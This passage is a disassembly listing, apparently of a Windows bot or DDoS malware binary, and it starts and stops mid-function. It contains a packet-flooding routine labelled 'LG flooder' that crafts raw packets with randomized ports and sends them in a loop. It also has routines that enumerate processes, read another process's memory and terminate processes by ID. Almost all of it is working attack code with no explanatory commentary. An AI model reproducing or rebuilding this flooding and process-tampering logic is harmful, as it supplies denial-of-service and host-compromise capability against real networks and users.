		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch

loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------

loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax

loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------

loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF48
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax

loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------

loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------

loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------

loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62

loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------

loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------

loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h

loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------

loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h

loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------

loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch

loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: sub_4167F1+D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E2B0
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------

loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2AC, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A0, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A4, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A8, eax
		cmp	dword_41E2AC, 0
		jz	short locret_40603F
		cmp	dword_41E2A0, 0
		jz	short locret_40603F
		cmp	dword_41E2A4, 0
		jz	short locret_40603F
		cmp	dword_41E2A8, 0
		jz	short locret_40603F
		mov	byte_41E2CC, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E2B0
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E2CC
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------

loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------

loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------

loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E2AC
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------

loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------

loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------

loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------

loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------

loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------

loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------

loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E2A0
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------

loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E2A8
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE30
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E2A4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------

loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax

loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------

loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------

loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------

loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------

loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------

loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------

loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------

loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------

loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax

loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------

loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------

loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx

loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------

loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520

loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------

loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h

loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------

loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------

loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620

loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh

loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------

loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------

loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------

loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------

loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------

loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------

loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
